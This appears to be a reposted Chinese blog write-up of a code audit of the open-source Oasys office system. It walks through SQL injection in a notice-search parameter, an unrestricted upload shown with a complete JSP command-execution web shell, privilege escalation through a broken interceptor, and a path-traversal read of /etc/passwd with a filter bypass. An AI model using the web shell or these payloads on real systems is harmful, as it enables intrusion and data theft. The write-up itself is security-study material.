Oasys 系统审计

渗透技巧 2年前 (2023) admin
347 0 0

目录

    环境搭建

    sql注入

    fastjson

    任意文件上传

    垂直越权

    任意文件读取

    存储xss


github下载oasys,安装数据库,修改密码,配置maven,idea启动

           

Oasys 系统审计

           

查看pom.xml文件,发现危险组建,fastjson,fileupload,猜测可能存在反序列化,文件上传漏洞。

sql注入

Oasys 系统审计

             

Oasys 系统审计

             

//进行逻辑判断,来根据那个排序,类型、状态、修改时间  传递了basekey参数              List<Map<String,Object>>sortMyNotice(@Param("userId")Long userId,@Param("baseKey")String baseKey,@Param("type")Integer type,@Param("status")Integer status,@Param("time")Integer time);

Ctrl + 单击 查找调用关系

Oasys 系统审计

也可以使用find usages

Oasys 系统审计

             

这里比较直接,一步跳转到控制器,这里大致分析下代码

uri映射路径是informlistpaging@RequestParam是通过web参数进行传递这里调用了setSomething,setSomething(baseKey, type, status, time, icon, model);跟进查看,只是进行判断不为空即可if(!StringUtils.isEmpty(baseKey)){                 model.addAttribute("baseKey", baseKey);              }然后就是将数据存储在列表里List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);

构造请求

Oasys 系统审计Oasys 系统审计

             

通过右侧搜索,抓包获取到关键字,

Oasys 系统审计

             

get方式直接使用url方法,输入1有八条信息

Oasys 系统审计

              

查看xml层代码,发现有俩%%,加上%发现成功返回数据<if test="baseKey !=null">      and n.title LIKE '%${baseKey}%'    </if>

输入1%‘or+1=1,显示22条,我记得模糊查询%%会自动省略吧

Oasys 系统审计             

总共有两个mapper文件,另一个注入的也是basekey

Oasys 系统审计

             

大致流程和思路也是一样的

fastjson无漏洞

Oasys 系统审计


Oasys 系统审计

             

代码中总共调用了两处,且都是进行序列化。所以不会产生漏洞。

文件上传

原项目无法解析jsp添加以下依赖

<dependency>  <groupId>org.springframework.boot</groupId>  <artifactId>spring-boot-devtools</artifactId>  <optional>true</optional></dependency><dependency>  <groupId>org.apache.tomcat.embed</groupId>  <artifactId>tomcat-embed-jasper</artifactId>  <scope>1.2</scope></dependency><dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version>  <scope>provided</scope></dependency>

两种思路,关键字搜索file upload

二是找文件控制器

Oasys 系统审计

             

查看upload方法

获取文件后缀

文件命名为uuid.后缀

先存放tmp目录再到主目录

Oasys 系统审计

rootpath目录

Oasys 系统审计

attachment用来管理文件

Oasys 系统审计

可见 并没有对后缀进行判断

尝试上传下

Oasys 系统审计

              

%    java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();    int len = -1;    byte[] bytes = new byte[1024];    out.print("<pre>");    while ((len = input.read(bytes)) != -1) {        out.println(new String(bytes, "GBK"));    }    out.print("</pre>");%>


Oasys 系统审计

Oasys 系统审计

从目录查找发现image里没有文件 而在attachment目录下

Oasys 系统审计

             

垂直越权

逻辑漏洞这快,主要关注 拦截器/过滤器或用户控制器

这里看了用户控制器主要是判断用户登陆,验证码问题

主要关注拦截器

前面代码大致是判断获取session信息

Oasys 系统审计

             

两个列表获取用户信息,直接从数据库中查询

Oasys 系统审计

             

获取路径和菜单url是否相等,永远返回true

Oasys 系统审计

             

剩下的代码匹配ip,日志啥的,整体没有对用户的操作做限制。

Oasys 系统审计

             

Oasys 系统审计

             

admin查看系统模块,抓包替换为低权限的

Oasys 系统审计

             

Oasys 系统审计

             

在或者直接低权限 账号访问接口地址

Oasys 系统审计

             

任意文件读取

搜索filepath

找半天没找到接口地址

Oasys 系统审计

             

往下翻看到了**

刚好也存在rootpath

path哪里会把/image替换为空,可以试试双写饶过

正常任意文件读取              
../../../../../../etc/passwd              
             
绕过              
//image..//image..//image..//image..//image../etc/passwd

Oasys 系统审计

             

抓包测试

Oasys 系统审计

             

存储xss

首先先看过滤器,拦截器有没有对xss的关键字做黑名单,如果没有在审计

全局搜 RequestMapping 然后找参数,输入payload

或者见框就插

Oasys 系统审计

             

Oasys 系统审计

             

             

             

原文始发于微信公众号(轩公子谈技术):Oasys 系统审计

版权声明:admin 发表于 2023年3月9日 下午7:11。
转载请注明:Oasys 系统审计 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...